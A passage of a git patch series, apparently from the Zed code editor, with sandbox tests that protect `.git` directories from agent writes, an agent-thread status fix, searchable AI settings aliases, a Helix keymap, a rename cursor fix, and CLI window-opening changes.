diff --git a/nix/tests/sandboxing/default.nix b/nix/tests/sandboxing/default.nix
index 22eaf10357bce6..eb4fbad82b0757 100644
--- a/nix/tests/sandboxing/default.nix
+++ b/nix/tests/sandboxing/default.nix
@@ -31,6 +31,11 @@
 #   writablePaths = [ ];        # writable subtrees when fs = "restricted"
 #   networkAccess = "blocked";  # or "unrestricted" / "restricted"
 #   allowedDomains = [ ];       # allowed hosts when networkAccess = "restricted"
+#   gitDisabled = [ ];          # `.git` dirs whose contents are protected
+#                               # (read-only on Linux). Mutually exclusive with
+#                               # gitAllowed.
+#   gitAllowed = [ ];           # `.git` dirs whose contents are made writable.
+#                               # Mutually exclusive with gitDisabled.
 #
 # Two echo servers (`echo1`, `echo2`) on separate nodes give the network checks
 # real peers, so a restricted-network policy that allowlists `echo1` can be
@@ -232,6 +237,138 @@ in
         succeeds = true;
       }
 
+      # ---- Git protection ----------------------------------------------------
+      # The worktree is writable, but the `.git` directory inside it can be
+      # protected (Git disabled) or opened up (Git allowed) independently. On
+      # Linux a protected `.git` is re-bound read-only *over* the writable
+      # worktree, so its contents stay readable but writes are denied.
+
+      # Git disabled: the worktree is writable but `.git` is protected, so a
+      # write into `.git` is denied. This is the core case the feature exists
+      # for — an agent editing the project must not be able to corrupt Git
+      # metadata.
+      {
+        fs = "restricted";
+        writablePaths = [ "/sandbox-test/repo" ];
+        gitDisabled = [ "/sandbox-test/repo/.git" ];
+        networkAccess = "blocked";
+        write = "/sandbox-test/repo/.git/test";
+        succeeds = false;
+      }
+
+      # Git allowed: the same write into `.git` now succeeds because the policy
+      # makes `.git` writable.
+      {
+        fs = "restricted";
+        writablePaths = [ "/sandbox-test/repo" ];
+        gitAllowed = [ "/sandbox-test/repo/.git" ];
+        networkAccess = "blocked";
+        write = "/sandbox-test/repo/.git/test";
+        succeeds = true;
+      }
+
+      # Git disabled protects only `.git`: ordinary writes elsewhere in the
+      # writable worktree are unaffected.
+      {
+        fs = "restricted";
+        writablePaths = [ "/sandbox-test/repo" ];
+        gitDisabled = [ "/sandbox-test/repo/.git" ];
+        networkAccess = "blocked";
+        write = "/sandbox-test/repo/src/main.rs";
+        succeeds = true;
+      }
+
+      # Git disabled is a subtree protection: a write to something nested deep
+      # inside `.git` is denied too, not just a top-level file.
+      {
+        fs = "restricted";
+        writablePaths = [ "/sandbox-test/repo" ];
+        gitDisabled = [ "/sandbox-test/repo/.git" ];
+        networkAccess = "blocked";
+        write = "/sandbox-test/repo/.git/hooks/pre-commit";
+        succeeds = false;
+      }
+
+      # Git disabled blocks writes but NOT reads: on Linux a protected `.git` is
+      # read-only, so its contents remain readable from inside the sandbox
+      # (Git status, log, diff, … must keep working).
+      {
+        fs = "restricted";
+        writablePaths = [ "/sandbox-test/repo" ];
+        gitDisabled = [ "/sandbox-test/repo/.git" ];
+        networkAccess = "blocked";
+        read = "/sandbox-test/repo/.git/HEAD";
+        succeeds = true;
+      }
+
+      # Git allowed grants writes to `.git` on its own, even when the worktree
+      # itself is not in `writablePaths`. The policy's Git dirs are made
+      # writable directly.
+      {
+        fs = "restricted";
+        writablePaths = [ ];
+        gitAllowed = [ "/sandbox-test/repo/.git" ];
+        networkAccess = "blocked";
+        write = "/sandbox-test/repo/.git/test";
+        succeeds = true;
+      }
+
+      # ...and that grant is scoped to `.git`: it does not make the surrounding
+      # worktree writable. A write next to `.git` (not in `writablePaths`) is
+      # still denied.
+      {
+        fs = "restricted";
+        writablePaths = [ ];
+        gitAllowed = [ "/sandbox-test/repo/.git" ];
+        networkAccess = "blocked";
+        write = "/sandbox-test/repo/README.md";
+        succeeds = false;
+      }
+
+      # Multiple repositories: each protected `.git` is independently denied.
+      # This exercises the list handling — a write into the *second* repo's
+      # `.git` must still be blocked.
+      {
+        fs = "restricted";
+        writablePaths = [
+          "/sandbox-test/repo-a"
+          "/sandbox-test/repo-b"
+        ];
+        gitDisabled = [
+          "/sandbox-test/repo-a/.git"
+          "/sandbox-test/repo-b/.git"
+        ];
+        networkAccess = "blocked";
+        write = "/sandbox-test/repo-b/.git/test";
+        succeeds = false;
+      }
+
+      # The fs escape hatch supersedes Git protection: when filesystem writes
+      # are unrestricted there is no read-only bind to protect `.git`, so the
+      # write succeeds. This documents that `gitDisabled` only has teeth under a
+      # restricted filesystem policy.
+      {
+        fs = "unrestricted";
+        gitDisabled = [ "/sandbox-test/repo/.git" ];
+        networkAccess = "blocked";
+        write = "/sandbox-test/repo/.git/test";
+        succeeds = true;
+      }
+
+      # Documented Linux gap: a `.git` that does not yet exist when the sandbox
+      # is built cannot be re-bound read-only, so it is skipped. Writing the
+      # `.git` entry itself (its parent worktree is writable, and `.git` does
+      # not exist beforehand) therefore succeeds. macOS denies this even before
+      # `.git` exists; bwrap cannot, and this test pins that difference.
+      {
+        fs = "restricted";
+        writablePaths = [ "/sandbox-test/fresh-repo" ];
+        gitDisabled = [ "/sandbox-test/fresh-repo/.git" ];
+        networkAccess = "blocked";
+        write = "/sandbox-test/fresh-repo/.git";
+        succeeds = true;
+      }
+
       # Blocked network: the echo server is unreachable.
       {
         fs = "restricted";

From e783b2f063167fc9dd2100b5ef77b2da49b63e8b Mon Sep 17 00:00:00 2001
From: Ben Brandt <benjamin.j.brandt@gmail.com>
Date: Tue, 30 Jun 2026 15:03:45 +0200
Subject: [PATCH 178/772] acp_thread: Defer status updates until turn
 completion (#60148)

We were signaling this too early, causing the syncing generator to get
updated too soon.

Release Notes:

- N/A
---
 crates/acp_thread/src/acp_thread.rs      | 13 ++++-
 crates/agent_ui/src/conversation_view.rs | 67 ++++++++++++++++++++++++
 2 files changed, 79 insertions(+), 1 deletion(-)

diff --git a/crates/acp_thread/src/acp_thread.rs b/crates/acp_thread/src/acp_thread.rs
index d060ecc26a6d1a..e85a0bd48fb95f 100644
--- a/crates/acp_thread/src/acp_thread.rs
+++ b/crates/acp_thread/src/acp_thread.rs
@@ -3296,10 +3296,12 @@ impl AcpThread {
                 // state even when the send_task is cancelled before tx.send().
                 if is_same_turn {
                     this.running_turn.take();
-                    cx.emit(AcpThreadEvent::StatusChanged);
                 }
 
                 let Ok(response) = response else {
+                    if is_same_turn {
+                        cx.emit(AcpThreadEvent::StatusChanged);
+                    }
                     // tx dropped, just return
                     return Ok(None);
                 };
@@ -3309,6 +3311,9 @@ impl AcpThread {
                         Self::flush_streaming_text(&mut this.streaming_text_buffer, cx);
 
                         if r.stop_reason == acp::StopReason::MaxTokens {
+                            if is_same_turn {
+                                cx.emit(AcpThreadEvent::StatusChanged);
+                            }
                             this.had_error = true;
                             cx.emit(AcpThreadEvent::Error);
                             log::error!("Max tokens reached. Usage: {:?}", this.token_usage);
@@ -3387,10 +3392,16 @@ impl AcpThread {
                             cx.emit(AcpThreadEvent::TokenUsageUpdated);
                         }
 
+                        if is_same_turn {
+                            cx.emit(AcpThreadEvent::StatusChanged);
+                        }
                         cx.emit(AcpThreadEvent::Stopped(r.stop_reason));
                         Ok(Some(r))
                     }
                     Err(e) => {
+                        if is_same_turn {
+                            cx.emit(AcpThreadEvent::StatusChanged);
+                        }
                         Self::flush_streaming_text(&mut this.streaming_text_buffer, cx);
                         if is_same_turn {
                             this.mark_pending_entries_as_canceled(cx);
diff --git a/crates/agent_ui/src/conversation_view.rs b/crates/agent_ui/src/conversation_view.rs
index 43b10a4bd0074d..5267e7adfa6eca 100644
--- a/crates/agent_ui/src/conversation_view.rs
+++ b/crates/agent_ui/src/conversation_view.rs
@@ -4906,6 +4906,66 @@ pub(crate) mod tests {
         setup_conversation_view_with_initial_content_opt(agent, None, cx).await
     }
 
+    #[gpui::test]
+    async fn test_completed_plan_snapshot_keeps_list_state_in_sync(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let connection = StubAgentConnection::new();
+        let (conversation_view, cx) =
+            setup_conversation_view(StubAgentServer::new(connection.clone()), cx).await;
+
+        message_editor(&conversation_view, cx).update_in(cx, |editor, window, cx| {
+            editor.set_text("Hello", window, cx);
+        });
+        active_thread(&conversation_view, cx).update_in(cx, |view, window, cx| {
+            view.send(window, cx);
+        });
+        cx.run_until_parked();
+
+        let session_id = active_thread(&conversation_view, cx).read_with(cx, |view, cx| {
+            assert_thread_list_item_count_matches_entries(view, cx);
+            view.thread.read(cx).session_id().clone()
+        });
+
+        cx.update(|_, cx| {
+            connection.send_update(
+                session_id.clone(),
+                acp::SessionUpdate::Plan(acp::Plan::new(vec![acp::PlanEntry::new(
+                    "Do the thing",
+                    acp::PlanEntryPriority::Medium,
+                    acp::PlanEntryStatus::InProgress,
+                )])),
+                cx,
+            );
+        });
+        cx.run_until_parked();
+        active_thread(&conversation_view, cx).read_with(cx, |view, cx| {
+            assert_thread_list_item_count_matches_entries(view, cx);
+        });
+
+        cx.update(|_, cx| {
+            connection.send_update(
+                session_id.clone(),
+                acp::SessionUpdate::Plan(acp::Plan::new(vec![acp::PlanEntry::new(
+                    "Do the thing",
+                    acp::PlanEntryPriority::Medium,
+                    acp::PlanEntryStatus::Completed,
+                )])),
+                cx,
+            );
+        });
+        cx.run_until_parked();
+        active_thread(&conversation_view, cx).read_with(cx, |view, cx| {
+            assert_thread_list_item_count_matches_entries(view, cx);
+        });
+
+        connection.end_turn(session_id, acp::StopReason::EndTurn);
+        cx.run_until_parked();
+        active_thread(&conversation_view, cx).read_with(cx, |view, cx| {
+            assert_thread_list_item_count_matches_entries(view, cx);
+        });
+    }
+
     async fn setup_conversation_view_with_initial_content(
         agent: impl AgentServer + 'static,
         initial_content: AgentInitialContent,
@@ -5557,6 +5617,13 @@ pub(crate) mod tests {
         })
     }
 
+    fn assert_thread_list_item_count_matches_entries(view: &ThreadView, cx: &App) {
+        assert_eq!(
+            view.list_state.item_count(),
+            view.thread.read(cx).entries().len() + usize::from(view.generating_indicator_in_list)
+        );
+    }
+
     fn message_editor(
         conversation_view: &Entity<ConversationView>,
         cx: &TestAppContext,

From 56562c28b0eb1e07af9f348c417b1c47419fdac1 Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Tue, 30 Jun 2026 16:50:01 +0200
Subject: [PATCH 179/772] settings_ui: Make agent settings searchable (#60151)

Right now subpages are not searchable. Since we don't have the bandwidth
to implement this today, this PR adds support for having aliases users
can search for. E.g. if I search for `claude` I will see the LLM
provider subpage, whereas previously I would not see anything.


https://github.com/user-attachments/assets/25af5c5a-86d2-473b-b0dd-11141b12a089

Release Notes:

- N/A
---
 crates/settings_ui/src/page_data.rs   | 57 +++++++++++++++++++++++++++
 crates/settings_ui/src/settings_ui.rs | 14 ++++---
 2 files changed, 66 insertions(+), 5 deletions(-)

diff --git a/crates/settings_ui/src/page_data.rs b/crates/settings_ui/src/page_data.rs
index 5434016c50cbb1..4d1101d7186ef5 100644
--- a/crates/settings_ui/src/page_data.rs
+++ b/crates/settings_ui/src/page_data.rs
@@ -94,6 +94,7 @@ fn developer_page(cx: &App) -> SettingsPage {
             title: "Feature Flags".into(),
             r#type: Default::default(),
             description: None,
+            search_aliases: &[],
             json_path: Some("feature_flags"),
             in_json: true,
             files: USER,
@@ -3376,6 +3377,7 @@ fn languages_and_tools_page(cx: &App) -> SettingsPage {
                     title: language_name,
                     r#type: crate::SubPageType::Language,
                     description: None,
+                    search_aliases: &[],
                     json_path: Some(link.leak()),
                     in_json: true,
                     files: USER | PROJECT,
@@ -7990,6 +7992,32 @@ fn ai_page(cx: &App) -> SettingsPage {
                 r#type: Default::default(),
                 json_path: Some("llm_providers"),
                 description: Some("Configure API keys and settings for LLM providers.".into()),
+                search_aliases: &[
+                    "ai",
+                    "amazon",
+                    "anthropic",
+                    "api key",
+                    "azure",
+                    "bedrock",
+                    "chat",
+                    "claude",
+                    "copilot",
+                    "gemini",
+                    "github",
+                    "google",
+                    "gpt",
+                    "grok",
+                    "llama",
+                    "llm",
+                    "lm studio",
+                    "mistral",
+                    "ollama",
+                    "openai",
+                    "opencode",
+                    "provider",
+                    "vercel",
+                    "xai",
+                ],
                 in_json: false,
                 files: USER,
                 render: render_llm_providers_page,
@@ -8002,6 +8030,7 @@ fn ai_page(cx: &App) -> SettingsPage {
                 r#type: Default::default(),
                 json_path: Some(zed_actions::AGENT_SKILLS_SETTINGS_PATH),
                 description: Some("View and manage agent skills installed globally or in project worktrees.".into()),
+                search_aliases: &["agent skill", "agent skills", "custom instructions", "skill", "skills"],
                 in_json: false,
                 files: USER | PROJECT,
                 render: render_skills_setup_page,
@@ -8014,6 +8043,15 @@ fn ai_page(cx: &App) -> SettingsPage {
                     "Review and change the elevated terminal sandbox permissions that are always allowed without prompting."
                         .into(),
                 ),
+                search_aliases: &[
+                    "allow",
+                    "domain",
+                    "filesystem",
+                    "network",
+                    "sandbox",
+                    "unsandboxed",
+                    "permissions",
+                ],
                 in_json: true,
                 files: USER,
                 render: render_sandbox_settings_page,
@@ -8023,6 +8061,7 @@ fn ai_page(cx: &App) -> SettingsPage {
                 r#type: Default::default(),
                 json_path: Some("agent.tool_permissions"),
                 description: Some("Set up regex patterns to auto-allow, auto-deny, or always request confirmation, for specific tool inputs.".into()),
+                search_aliases: &[],
                 in_json: true,
                 files: USER,
                 render: render_tool_permissions_setup_page,
@@ -8037,6 +8076,7 @@ fn ai_page(cx: &App) -> SettingsPage {
                 description: Some(
                     "View, add, configure, and remove Model Context Protocol servers.".into(),
                 ),
+                search_aliases: &["context server", "mcp", "model context protocol"],
                 in_json: false,
                 files: USER,
                 render: render_mcp_servers_page,
@@ -8049,6 +8089,22 @@ fn ai_page(cx: &App) -> SettingsPage {
                     "View, add, and remove agents connected through the Agent Client Protocol."
                         .into(),
                 ),
+                search_aliases: &[
+                    "acp",
+                    "agent client protocol",
+                    "amp",
+                    "claude agent",
+                    "claude code",
+                    "codex",
+                    "copilot cli",
+                    "cursor",
+                    "external agent",
+                    "factory droid",
+                    "github copilot",
+                    "grok build",
+                    "junie",
+                    "opencode",
+                ],
                 in_json: false,
                 files: USER,
                 render: render_external_agents_page,
@@ -10374,6 +10430,7 @@ fn edit_prediction_language_settings_section() -> [SettingsPageItem; 5] {
             r#type: Default::default(),
             json_path: Some("edit_predictions.providers"),
             description: Some("Set up different edit prediction providers in complement to Zed's built-in Zeta model.".into()),
+            search_aliases: &[],
             in_json: false,
             files: USER,
             render: render_edit_prediction_setup_page
diff --git a/crates/settings_ui/src/settings_ui.rs b/crates/settings_ui/src/settings_ui.rs
index 4847d066bae128..991789eb5a7711 100644
--- a/crates/settings_ui/src/settings_ui.rs
+++ b/crates/settings_ui/src/settings_ui.rs
@@ -1585,6 +1585,7 @@ struct SubPageLink {
     title: SharedString,
     r#type: SubPageType,
     description: Option<SharedString>,
+    search_aliases: &'static [&'static str],
     /// See [`SettingField.json_path`]
     json_path: Option<&'static str>,
     /// Whether or not the settings in this sub page are configurable in settings.json
@@ -2351,19 +2352,20 @@ impl SettingsWindow {
                     }
                     SettingsPageItem::SubPageLink(sub_page_link) => {
                         json_path = sub_page_link.json_path;
+                        let mut parts = vec![page.title, header_str, sub_page_link.title.as_ref()];
+                        parts.extend(sub_page_link.search_aliases);
                         documents.push(SearchDocument {
                             id: key_index,
-                            words: split_into_words(&[
-                                page.title,
-                                header_str,
-                                sub_page_link.title.as_ref(),
-                            ]),
+                            words: split_into_words(&parts),
                         });
                         push_candidates(
                             &mut fuzzy_match_candidates,
                             key_index,
                             sub_page_link.title.as_ref(),
                         );
+                        for alias in sub_page_link.search_aliases {
+                            push_candidates(&mut fuzzy_match_candidates, key_index, alias);
+                        }
                     }
                     SettingsPageItem::ActionLink(action_link) => {
                         documents.push(SearchDocument {
@@ -4128,6 +4130,7 @@ impl SettingsWindow {
             title: title.into(),
             r#type: SubPageType::default(),
             description: None,
+            search_aliases: &[],
             json_path,
             in_json,
             files: USER,
@@ -4185,6 +4188,7 @@ impl SettingsWindow {
             title: "Create Skill".into(),
             r#type: SubPageType::SkillCreator,
             description: None,
+            search_aliases: &[],
             json_path: None,
             in_json: false,
             files: USER | PROJECT,

From dfb70de652bb27451abc6ee6274bfabdb7524d36 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20MEVEL?=
 <2572775+jmevel@users.noreply.github.com>
Date: Tue, 30 Jun 2026 17:11:36 +0200
Subject: [PATCH 180/772] helix: Add `z c` keymap to `ScrollCursorCenter`
 (#58660)

Helix's keymap to `Vertically center the line` (`align_view_center`
command) is `zc`
([documentation](https://docs.helix-editor.com/keymap.html#view-mode)).

Release Notes:

- Added Helix's `z c` keymap to editor, project panel and outline panel
to scroll cursor to center
---
 assets/keymaps/vim.json | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/assets/keymaps/vim.json b/assets/keymaps/vim.json
index 0258f34758e8b9..9787a9278410eb 100644
--- a/assets/keymaps/vim.json
+++ b/assets/keymaps/vim.json
@@ -550,6 +550,9 @@
       "space y": "editor::Copy",
       "space /": "pane::DeploySearch",
 
+      // View mode
+      "z c": "editor::ScrollCursorCenter",
+
       // Debug mode (Helix space G)
       "space shift-g l": "debugger::Start",
       "space shift-g r": "debugger::Restart",
@@ -1007,6 +1010,7 @@
       "ctrl-d": "project_panel::ScrollDown",
       "z t": "project_panel::ScrollCursorTop",
       "z z": "project_panel::ScrollCursorCenter",
+      "z c": "project_panel::ScrollCursorCenter",
       "z b": "project_panel::ScrollCursorBottom",
       "0": ["vim::Number", 0],
       "1": ["vim::Number", 1],
@@ -1038,6 +1042,7 @@
       "ctrl-d": "outline_panel::ScrollDown",
       "z t": "outline_panel::ScrollCursorTop",
       "z z": "outline_panel::ScrollCursorCenter",
+      "z c": "outline_panel::ScrollCursorCenter",
       "z b": "outline_panel::ScrollCursorBottom",
       "0": ["vim::Number", 0],
       "1": ["vim::Number", 1],

From b30ef390e13f141f8f2c5135c721c7248ef44bd5 Mon Sep 17 00:00:00 2001
From: sunwukk990 <82385875+grgwuk990@users.noreply.github.com>
Date: Tue, 30 Jun 2026 12:54:26 -0400
Subject: [PATCH 181/772] editor: Use visible cursor position for rename
 (#55542)

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #54160

Summary:

In Helix mode, rename could fail when the cursor was visually positioned
on the last character of a symbol. The editor renders some Vim/Helix
selections with the visible cursor offset from the selection head, but
rename was still using the raw selection head as the LSP prepare-rename
position.

This updates rename to use the visible cursor position for point lookup
when cursor offset rendering is active. It also adds regression coverage
for Helix rename and Vim visual rename.

Verification:

- `cargo check -p editor`
- `cargo fmt --check --package editor --package vim`
- `git diff --check -- crates\editor\src\editor.rs
crates\vim\src\test.rs`
- `test::test_rename`
- `test::test_helix_rename_uses_visible_cursor_position`
- `test::test_visual_rename_uses_visible_cursor_position`

Release Notes:

- Fixed Helix mode rename when the cursor is visually on the last
character of a symbol.

---------

Co-authored-by: dino <dinojoaocosta@gmail.com>
---
 crates/editor/src/editor.rs | 38 ++++++++++++++++++++++++----
 crates/vim/src/helix.rs     | 50 +++++++++++++++++++++++++++++++++++++
 crates/vim/src/test.rs      | 43 +++++++++++++++++++++++++++++++
 3 files changed, 126 insertions(+), 5 deletions(-)

diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index 1be65d476b8f65..9437b8899b7a85 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -3039,6 +3039,35 @@ impl Editor {
         self.cursor_offset_on_selection = set_cursor_offset_on_selection;
     }
 
+    /// Returns the anchor to use as the rename target for a selection.
+    ///
+    /// In selection-based modes, like vim's visual mode and helix, the rendered
+    /// block cursor sits one position to the left of the selection's head,
+    /// since the head is the exclusive end of a forward selection. Using the
+    /// head
+    /// directly would place the rename one character past the symbol, for
+    /// example, trailing whitespace, so for a non-empty forward selection we
+    /// shift one point left to land back on the symbol under the cursor.
+    fn rename_target_anchor(&self, selection: &Selection<Anchor>, cx: &mut App) -> Anchor {
+        let head = selection.head();
+
+        if self.cursor_offset_on_selection
+            && !selection.reversed
+            && selection.start != selection.end
+        {
+            let display_map = self.display_snapshot(cx);
+            let display_head = head.to_display_point(&display_map);
+
+            if display_head.column() > 0 {
+                return display_map.display_point_to_anchor(
+                    movement::left(&display_map, display_head),
+                    Bias::Left,
+                );
+            }
+        }
+        head
+    }
+
     pub fn set_current_line_highlight(
         &mut self,
         current_line_highlight: Option<CurrentLineHighlight>,
@@ -7632,10 +7661,9 @@ impl Editor {
         }
         let provider = self.semantics_provider.clone()?;
         let selection = self.selections.newest_anchor().clone();
-        let (cursor_buffer, cursor_buffer_position) = self
-            .buffer
-            .read(cx)
-            .text_anchor_for_position(selection.head(), cx)?;
+        let cursor = self.rename_target_anchor(&selection, cx);
+        let (cursor_buffer, cursor_buffer_position) =
+            self.buffer.read(cx).text_anchor_for_position(cursor, cx)?;
         let (tail_buffer, cursor_buffer_position_end) = self
             .buffer
             .read(cx)
@@ -7663,7 +7691,7 @@ impl Editor {
 
                     this.take_rename(false, window, cx);
                     let buffer = this.buffer.read(cx).read(cx);
-                    let cursor_offset = selection.head().to_offset(&buffer);
+                    let cursor_offset = cursor.to_offset(&buffer);
                     let rename_start =
                         cursor_offset.saturating_sub_usize(cursor_offset_in_rename_range);
                     let rename_end = rename_start + rename_buffer_range.len();
diff --git a/crates/vim/src/helix.rs b/crates/vim/src/helix.rs
index 092db5fe7542c7..2642221b31cd80 100644
--- a/crates/vim/src/helix.rs
+++ b/crates/vim/src/helix.rs
@@ -1759,6 +1759,7 @@ struct HelixJumpUiData {
 
 #[cfg(test)]
 mod test {
+    use futures::StreamExt;
     use std::{fmt::Write, time::Duration};
 
     use editor::{HighlightKey, MultiBufferOffset};
@@ -4304,4 +4305,53 @@ mod test {
         );
         assert_eq!(cx.active_operator(), None);
     }
+
+    #[gpui::test]
+    async fn test_helix_rename_uses_visible_cursor_position(cx: &mut gpui::TestAppContext) {
+        let mut cx = VimTestContext::new_typescript(cx).await;
+        cx.enable_helix();
+
+        cx.set_state(
+            "const before = 2; console.log(«beforeˇ»)",
+            Mode::HelixNormal,
+        );
+
+        let expected_position = cx.to_lsp(MultiBufferOffset(
+            "const before = 2; console.log(befor".len(),
+        ));
+        let def_range = cx.lsp_range("const «beforeˇ» = 2; console.log(before)");
+        let tgt_range = cx.lsp_range("const before = 2; console.log(«beforeˇ»)");
+        let mut prepare_request = cx
+            .set_request_handler::<lsp::request::PrepareRenameRequest, _, _>(
+                move |_, params, _| async move {
+                    assert_eq!(params.position, expected_position);
+                    Ok(Some(lsp::PrepareRenameResponse::Range(def_range)))
+                },
+            );
+        let mut rename_request = cx.set_request_handler::<lsp::request::Rename, _, _>(
+            move |url, params, _| async move {
+                Ok(Some(lsp::WorkspaceEdit {
+                    changes: Some(
+                        [(
+                            url.clone(),
+                            vec![
+                                lsp::TextEdit::new(def_range, params.new_name.clone()),
+                                lsp::TextEdit::new(tgt_range, params.new_name),
+                            ],
+                        )]
+                        .into(),
+                    ),
+                    ..Default::default()
+                }))
+            },
+        );
+
+        cx.simulate_keystrokes("space r");
+        prepare_request.next().await.unwrap();
+        cx.simulate_input("after");
+        cx.simulate_keystrokes("enter");
+        rename_request.next().await.unwrap();
+
+        cx.assert_state("const after = 2; console.log(afterˇ)", Mode::HelixNormal);
+    }
 }
diff --git a/crates/vim/src/test.rs b/crates/vim/src/test.rs
index fed30f8dea8090..c426127dc075d7 100644
--- a/crates/vim/src/test.rs
+++ b/crates/vim/src/test.rs
@@ -1258,6 +1258,49 @@ async fn test_rename(cx: &mut gpui::TestAppContext) {
     cx.assert_state("const afterˇ = 2; console.log(after)", Mode::Normal)
 }
 
+#[gpui::test]
+async fn test_visual_rename_uses_visible_cursor_position(cx: &mut gpui::TestAppContext) {
+    let mut cx = VimTestContext::new_typescript(cx).await;
+
+    cx.set_state("const before = 2; console.log(«beforeˇ»)", Mode::Visual);
+
+    let expected_position = cx.to_lsp(MultiBufferOffset(
+        "const before = 2; console.log(befor".len(),
+    ));
+    let def_range = cx.lsp_range("const «beforeˇ» = 2; console.log(before)");
+    let tgt_range = cx.lsp_range("const before = 2; console.log(«beforeˇ»)");
+    let mut prepare_request = cx.set_request_handler::<lsp::request::PrepareRenameRequest, _, _>(
+        move |_, params, _| async move {
+            assert_eq!(params.position, expected_position);
+            Ok(Some(lsp::PrepareRenameResponse::Range(def_range)))
+        },
+    );
+    let mut rename_request =
+        cx.set_request_handler::<lsp::request::Rename, _, _>(move |url, params, _| async move {
+            Ok(Some(lsp::WorkspaceEdit {
+                changes: Some(
+                    [(
+                        url.clone(),
+                        vec![
+                            lsp::TextEdit::new(def_range, params.new_name.clone()),
+                            lsp::TextEdit::new(tgt_range, params.new_name),
+                        ],
+                    )]
+                    .into(),
+                ),
+                ..Default::default()
+            }))
+        });
+
+    cx.simulate_keystrokes("g r n");
+    prepare_request.next().await.unwrap();
+    cx.simulate_input("after");
+    cx.simulate_keystrokes("enter");
+    rename_request.next().await.unwrap();
+
+    cx.assert_state("const after = 2; console.log(afterˇ)", Mode::Visual);
+}
+
 #[gpui::test]
 async fn test_go_to_definition(cx: &mut gpui::TestAppContext) {
     let mut cx = VimTestContext::new_typescript(cx).await;

From df33d7866100abb8b8a21bd61507402eb4c81b90 Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Tue, 30 Jun 2026 22:10:06 +0200
Subject: [PATCH 182/772] cli: Always open new window when
 `cli_default_open_behavior=new_window` (#59415)

This makes sure that the behaviour of the CLI matches that of the UI.
In Zed itself we always open a new window (e.g. when clicking on Open
Project in new window in the recent projects picker), but in the CLI we
where re-using existing windows even when specifying
"cli_default_open_behavior": "new_window".
This caused confusion, so this PR ensures that we always open a new
window, even if that folder is already open. We still focus the active
window in the case where the path is a subpath of a project that is
already open.

Can be tested with

```
cd crates/cli
cargo run -- --zed ../../target/debug/zed somefolder
```

Release Notes:

- cli: Ensure `zed somefolder` always opens a new window, even when
`cli_default_open_behavior` is set to `new_window` and the project is
already open
---
 assets/settings/default.json             |   3 +-
 crates/cli/src/cli.rs                    |   9 +-
 crates/project/src/project.rs            |  24 ++++
 crates/settings_content/src/workspace.rs |   3 +-
 crates/workspace/src/workspace.rs        |  25 +++-
 crates/zed/src/zed/open_listener.rs      | 169 +++++++++++++++++++++--
 6 files changed, 207 insertions(+), 26 deletions(-)

diff --git a/assets/settings/default.json b/assets/settings/default.json
index c1ca00ee0ac88d..74560dd49bb025 100644
--- a/assets/settings/default.json
+++ b/assets/settings/default.json
@@ -162,8 +162,7 @@
   // May take 2 values:
   //  1. Open directories as a new workspace in the current Zed window's sidebar
   //         "cli_default_open_behavior": "existing_window"
-  //  2. Open directories in a new window (reuse existing windows for files
-  //     that are already part of an open project)
+  //  2. Open paths in a new window, unless they are subpaths of an existing project
   //         "cli_default_open_behavior": "new_window"
   "cli_default_open_behavior": "existing_window",
   // The default behavior when opening projects from the UI.
diff --git a/crates/cli/src/cli.rs b/crates/cli/src/cli.rs
index 0823f1fafee092..d7ad0b347ed3f4 100644
--- a/crates/cli/src/cli.rs
+++ b/crates/cli/src/cli.rs
@@ -16,13 +16,14 @@ pub struct IpcHandshake {
 #[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)]
 #[serde(rename_all = "snake_case")]
 pub enum OpenBehavior {
-    /// Consult the user's `cli_default_open_behavior` setting to choose between
-    /// `ExistingWindow` or `Classic`.
+    /// Consult the user's `cli_default_open_behavior` setting.
     #[default]
     Default,
     /// Always create a new window. No matching against existing worktrees.
     /// Corresponds to `zed -n`.
     AlwaysNew,
+    /// Create a new window unless opening a subpath of an existing project.
+    PreferNewWindow,
     /// Match broadly including subdirectories, and fall back to any existing
     /// window if no worktree matched. Corresponds to `zed -a`.
     Add,
@@ -47,9 +48,7 @@ pub enum OpenBehavior {
 pub enum CliBehaviorSetting {
     /// Open directories as a new workspace in the current Zed window's sidebar.
     ExistingWindow,
-    /// Classic behavior: open directories in a new window, but reuse an
-    /// existing window when opening files that are already part of an open
-    /// project.
+    /// Open paths in a new window unless they are subpaths of an existing project.
     NewWindow,
 }
 
diff --git a/crates/project/src/project.rs b/crates/project/src/project.rs
index 2864313d8d719b..90b4a6a5997150 100644
--- a/crates/project/src/project.rs
+++ b/crates/project/src/project.rs
@@ -2535,6 +2535,30 @@ impl Project {
             .max()
     }
 
+    pub fn visibility_for_subpaths(&self, paths: &[PathBuf], cx: &App) -> Option<bool> {
+        paths
+            .iter()
+            .map(|path| self.visibility_for_subpath(path, cx))
+            .max()
+            .flatten()
+    }
+
+    fn visibility_for_subpath(&self, path: &Path, cx: &App) -> Option<bool> {
+        let path = SanitizedPath::new(path).as_path();
+        let path_style = self.path_style(cx);
+        self.worktrees(cx)
+            .filter_map(|worktree| {
+                let worktree = worktree.read(cx);
+                let abs_path = worktree.abs_path();
+                let relative_path = path_style.strip_prefix(path, abs_path.as_ref());
+                let is_subpath = relative_path
+                    .as_ref()
+                    .is_some_and(|p| !p.as_ref().as_unix_str().is_empty());
+                is_subpath.then(|| worktree.is_visible())
+            })
+            .max()
+    }
+
     pub fn create_entry(
         &mut self,
         project_path: impl Into<ProjectPath>,
diff --git a/crates/settings_content/src/workspace.rs b/crates/settings_content/src/workspace.rs
index 780fc1dc5428c1..c52cda911d4332 100644
--- a/crates/settings_content/src/workspace.rs
+++ b/crates/settings_content/src/workspace.rs
@@ -408,8 +408,7 @@ pub enum CliDefaultOpenBehavior {
     #[default]
     #[strum(serialize = "Add to Existing Window")]
     ExistingWindow,
-    /// Open directories in a new window, but reuse an existing window when
